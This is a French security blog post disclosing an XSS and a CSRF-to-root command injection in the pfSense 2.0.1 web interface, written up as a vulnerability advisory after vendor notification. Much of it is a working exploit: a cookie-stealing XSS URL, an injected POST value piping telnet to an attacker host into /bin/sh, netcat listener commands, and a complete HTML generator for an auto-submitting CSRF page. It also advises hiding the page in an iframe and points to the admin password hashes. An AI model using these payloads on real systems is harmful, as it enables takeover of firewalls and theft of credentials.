[XSS & CSRF RCE] pfSense 2.0.1 Remote root Access

02
janv.
2013
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Administration réseaux et systèmes / BSD / CSRF / OS / RCE / Vulnérabilités, exploits et PoC / XSS   /   2 commentaires

Une vulnérabilité de type XSS non-persistante et une CSRF RCE permettant l’obtention d’un shell root ont été découverte sur pfSense.

pfSense est une distribution routeur/firewall basée sur FreeBSD jugée d’une grande fiabilité. Issu d’un projet réalisé en 2004 du nom de « m0n0wall« , qui a été également analysé ici, la version 1.0 a vu le jour le 4 octobre 2006 et la dernière release 2.0.1 date de décembre 2011.

Suite à son déploiement récent dans un environnement virtuel en guise de test, il a été possible d’exploiter ses fonctionnalités et toute sa puissance qui justifient amplement ses multiples éloges de part le web.

Administrable via SSH ou part le biais d’une interface web (WebGUI), son fonctionnement interne et a pu être analysé plus en profondeur.

Il s’avère que dans la dernière version, la 2.0.1 qui peut être téléchargée sur le site officiel, quelques vulnérabilités sont exploitables qui peuvent engendrer la corruption de cette distribution orientée sécurité.

Dans un premier temps, une vulnérabilité de type XSS non-persistante par variable GET a pu être exploitée, ainsi qu’une CSRF permettant l’obtention d’un shell sous le compte root à distance (RCE pour Remote Command Execution).

Les attaques de type Cross-Site Request Forgery (abrégées CSRF prononcées sea-surfing ou parfois XSRF) utilisent l’utilisateur comme déclencheur, celui-ci devient complice sans en être conscient. L’attaque étant actionnée par l’utilisateur, un grand nombre de systèmes d’authentification sont contournés.

Cette analyse s’est principalement focalisée sur l’administration WebGUI entièrement écrite en PHP. Cette application web se scinde en de nombreux fichiers et dispose d’un mécanisme de protection anti-CSRF nommé « CSRF Magic » fonctionnant par le biais de jeton (token) qui transite avec les diverses requêtes XHR.

Le code du WebGUI dispose de nombreuses XSS particulièrement visibles qui ne s’avèrent toutefois pas exploitables via l’inclusion des scripts de protection CSRF. A titre d’exemple :

Fichier /usr/local/www/progress.php, ligne 21 à 30, vulnérabilité potentielle à la ligne 25 :

$X = upload_progress_meter_get_info( $_GET["UPLOAD_IDENTIFIER"] );
if (!$X) {
 
if ( array_key_exists( "e", $_GET ) ) {
echo "<HTML><BODY onLoad='window.close();'>" . gettext("Invalid Meter ID") . "! {$_GET["UPLOAD_IDENTIFIER"]}";
echo ('</BODY></HTML>');
}else{
echo ('<HTML><meta HTTP-EQUIV="Refresh" CONTENT="1; url='. $url .'"><BODY></BODY></HTML>');
}
exit;

Un « echo » basique d’un bout de code HTML avec la variable GET « UPLOAD_IDENTIFIER » est réalisé sans être nettoyé (sanitize). Toutefois, ce fichier utilise la fonction « upload_progress_meter_get_info() » qui n’est pas définie lors d’un appel direct retournant l’erreur suivante avant même l’exécution de l’XSS :

Fatal error: Call to undefined function upload_progress_meter_get_info() in /usr/local/www/progress.php on line 21

Fichier /usr/local/www/system_gateways_edit.php, ligne 252 à 256, vulnérabilité potentielle à la ligne 253 :

if($_REQUEST['isAjax']) {
echo $_POST['name'];
exit;
} else if (!empty($reloadif))
send_event("interface reconfigure {$reloadif}");

Idem, un « echo » d’une variable POST non-nettoyée est réalisé. Toutefois ce fichier inclu le script de protection CSRFMagic et est donc difficilement exploitable.

A de multiples autres endroits de telles variables GET ou POST sont arbitrairement modifiables par un utilisateur en vue de forger des comportement spécifique dans le WebGUI. Il serait d’intérêt de protéger ces variables en les nettoyant via des « htmlentities() » ou « htmlspecialchars() » bien que le système de protection anti-CSRF soit présent.

Une XSS via variable GET non-persistante est toutefois présente et fonctionnelle dans le fichier /usr/local/www/pkg_mgr_install.php à la ligne 166 :

update_output_window(sprintf(gettext("Could not find %s."), $_GET['pkg']));

La variable GET « pkg » n’est pas nettoyée avant d’être transmise à une fonction qui génère un code JavaScript. Cette XSS est exploitable via l’URL suivante :

http://pfsense_url/pkg_mgr_install.php?mode=installedinfo&pkg=x";alert(document.cookie);this.document.forms[0].output.value+="
XSS dans le WebGUI de pfSense 2.0.1

XSS dans le WebGUI de pfSense 2.0.1

L’exécution de code PHP arbitraire (dont l’obtention d’un shell) pourrait également être réalisé au travers du fichier /usr/local/www/exec.php à la ligne 244 :

if (!isBlank($_POST['txtPHPCommand'])) {
puts("<pre>");
require_once("config.inc");
require_once("functions.inc");
echo eval($_POST['txtPHPCommand']);
puts("</pre>");
}

La fonction « eval » de PHP exécute le code transmis au travers de la variable POST « txtPHPCommand », mais le script anti-CSRF bloque également l’injection de tels codes. Il est toutefois souhaité de renforcer cette instruction.

Le système de protection anti-CSRF est donc relativement efficace, mais les instructions non-protégées devraient toutefois l’être. Les scripts du WebGUI ne sont pas tous protégés par CSRFMagic, et c’est justement ce qui permet l’obtention par une personne arbitraire d’un shell root sur la distribution pfSense.

Le fichier /usr/local/www/system_firware.php n’inclut pas la protection CSRF (en amont du fichier, la variable « $nocsrf » est définie à « True »). Ainsi, la ligne 118 présente une vulnérabilité exploitable :

if($_POST['kerneltype']) {
if($_POST['kerneltype'] == "single")
system("touch /boot/kernel/pfsense_kernel.txt");
else
system("echo {$_POST['kerneltype']} > /boot/kernel/pfsense_kernel.txt");
}

L’appel de la fonction « system() » de PHP permet d’exécuter ce qui est passé en paramètre au travers d’un shell. Le paramètre inclu une variable POST « kerneltype » qui n’est pas nettoyée via la fonction « escapeshellarg()« . Ainsi, cette variable peut détourner la commande à exécuter.

Par défaut, la chaîne de caractère « SMP » est passée au travers de cette variable, pour finalement être écrite dans le fichier pfsense_kernel.txt. L’idée est de modifier cette variable pour l’otention d’un reverse-shell sur la distribution pfSense.

Légitimement, la commande exécutée via la fonction « system() » est semblable à celle-ci :

echo SMP > /boot/kernel/pfsense_kernel.txt

Si l’on définie la variable POST « kerneltype » avec la valeur suivante :

SMP > /boot/kernel/pfsense_kernel.txt;telnet ATTACKER_IP 1337 | /bin/sh | telnet ATTACKER_IP 1338

Alors, l’attaquant peut récupérer un shell sur la machine simplement.
Il faut pour cela que l’attaquant place deux terminaux avec Netcat en écoute sur deux ports distincts sur sa propre machine. Le premier terminal servira à l’envoie des commandes à pfSense (via le port 1337), et le second terminal s’occupera de récupérer les résultats des commandes passées (via le port 1338).

Lancement des netcat sur la machine de l’attaquant :

nc -l -vv -p 1337
nc -l -vv -p 1338
Les netcat en écoutes

Les netcat en écoutes

Suite au placement en écoute de ces deux netcat, l’attaquant doit forger la page qui va servir à la CSRF à envoyer à l’administrateur légitime. Pour réaliser cela, voici un mini-générateur de CSRF destinée à cet exploit :

<html>
<head>
<script>
function trim(s){
return s.replace(/\r\n|\r|\n|\t/g,'').replace(/^\s+/g,'').replace(/\s+$/g,'');
}
 
function generateCSRF(){
var target = trim(document.getElementById("target").value);
var attacker = trim(document.getElementById("attacker").value);
var sendport = trim(document.getElementById("sendport").value);
var readport = trim(document.getElementById("readport").value);
var resultjs = "";
resultjs += "<html><body><form name='x' action='" + target + "system_firmware.php' method='post'>";
resultjs += "<input type='hidden' name='kerneltype' value='SMP > /boot/kernel/pfsense_kernel.txt;telnet " + attacker + " " + sendport + " | /bin/sh | telnet " + attacker + " " + readport + "' />";
resultjs += "</form><script>document.forms['x'].submit();<\/script></body></html>";
document.getElementById("resultjs").value = resultjs;
}
 
</script>
</head>
<body onload="generateCSRF();">
<h2>CSRF pfSense 2.0.1 to root RCE (reverse shell)</h2>
<p>pfSense 2.0.1, the latest firewall/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.<br />
The attacker must know the URL address of pfsense WebGui.<br />
To obtain the reverseshell, attacker must place two netcat in listening mode on two different ports. One will be used to send commands and the other for receiving results.<br />
On attacker machine :
<pre>nc -l -vv -p 1337 # First netcat listener, to enter shell command.</pre>
<pre>nc -l -vv -p 1338 # Second netcat listener, to receive commands results.</pre>
(admin hash is in the /config/config.xml file on pfSense)
</p>
<form action="" onsubmit="generateCSRF();return false;">
<table>
<tr><td>URL's pfSense 2.0.1 Targeted :</td> <td>
<input id="target" type="text" value="http://192.168.0.254:80/" size="70" onkeyup="generateCSRF();" /></td>
</tr>
<tr><td>Attacker IP (reverse shell) :</td> <td>
<input id="attacker" type="text" value="192.168.0.141" size="70" onkeyup="generateCSRF();" /></td>
</tr>
<tr><td>Attacker binded port to send commands :</td> <td>
<input id="sendport" type="text" value="1337" size="70" onkeyup="generateCSRF();" /></td>
</tr>
<tr><td>Attacker binded port to read results :</td> <td>
<input id="readport" type="text" value="1338" size="70" onkeyup="generateCSRF();" /></td>
</tr>
 
<tr> <td>CSRF exploit to send to an admin : </td> <td>
<textarea cols="70" rows="10" id="resultjs" readonly="readonly"></textarea> </td>
</tr>
</table>
</form>
</body>
</html>

En ouvrant cette page dans votre navigateur, il est possible de forger la CSRF en fonction de vos réglages.
Indiquer l’IP de l’attaquant (pour le reverse-shell), le port du premier netcat et le port du second ; sans oublier l’URL du pfSense cible :

Le générateur de CSRF pour pfSense 2.0.1

Le générateur de CSRF pour pfSense 2.0.1

Ces champs renseignés, le code de la CSRF est automatiquement généré, dans l’exemple :

<html><body><form name='x' action='http://192.168.0.254:80/system_firmware.php' method='post'><input type='hidden' name='kerneltype' value='SMP > /boot/kernel/pfsense_kernel.txt;telnet 192.168.0.141 1337 | /bin/sh | telnet 192.168.0.141 1338' /></form><script>document.forms['x'].submit();</script></body></html>

Il ne reste plus qu’à placer ce code sur une page web quelconque (dans une iframe cachée pour plus d’invisibilité) et de forcer l’administrateur légitime à s’y rendre pour exploiter sa session sur pfSense et obtenir le shell.

Dès que le code de la CSRF s’est exécuté sur la machine de l’administrateur, la vulnérabilité est exploitée et le shell est obtenu :

Reverse-shell en action au travers de la CSRF

Reverse-shell en action au travers de la CSRF

  1. L’administrateur consulte la page contenant le code de la CSRF (dans l’exemple la machine de la victime et de l’attaquant sont les mêmes).
  2. Le code malicieux est exécuté par l’administrateur sur le WebGUI de pfSense, qui force pfSense à établir un reverse-shell sur l’IP de l’attaquant.
  3. Le premier terminal sert à l’attaquant pour entrer ses commandes et le second affiche les résultats de ces commandes.

Le PoC de cette vulnérabilité est visible au travers de la vidéo initialement destinée à l’équipe de développement de pfSense :

Comme il est décrit, l’obtention du reverse-shell se fait par le biais de deux netcats côté attaquant, et deux sessions telnet côté pfSense. Basée sur FreeBSD, pfSense dispose de nombreux outils et binaires internes qui permettraient de centraliser ce reverse-shell dans un unique terminal. En effet, netcat est disponible nativement sur pfSense, ainsi que mkfifo et mknod. Toutefois après maintes syntaxes mêlant netcat (avec ou sans son argument -e /bin/sh), mkfifo et/ou mknod, le reverse-shell ne pouvait s’établir… Des erreurs de « fifo null » et de politique IPSec bloquaient l’établissement du shell contrairement à la méthode via les deux telnet.

Le contrôle complet du firewall/router pfSense est ainsi accessible par une personne tierce. De nombreux fichiers sont d’intérêts au sein de cette distribution. C’est le cas du fichier /config/config.xml qui contient toute la configuration du firewall/router, ainsi que le hash du mot de passe des comptes utilisateurs (SSH et WebGUI).

Les deux vulnérabilités décrites au sein de cet article, à savoir l’XSS non-persistante et la CSRF RCE, sont exploitables dès lors qu’un compte utilisateur à accès aux deux pages ciblées « pkg_mgr_install.php » et « system_firmware.php« . Le WebGUI permet de gérer finement des comptes utilisateurs ainsi que leurs droits d’accès à telle ou telle page. Si un simple utilisateur dispose uniquement des droits d’accès à ces pages, alors les vulnérabilités sont exploitables :

Compte utilisateur restreint exploitable

Compte utilisateur restreint exploitable

Pour finaliser cet article, pfSense est une solution de grande qualité au niveau des paramétrages disponibles et des mécanismes optimisés qu’elle met en pratique pour protéger un réseau. Toutefois certaines petites faiblesses subsistent permettant de corrompre un tel système.

Les membres du projet pfSense ont été avertis vis-à-vis des quelques remarques faites au sein de cet article et une nouvelle release a vu le jour le 21 décembre 2012, disponible ici.

Edit du 07/01/2013 :

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.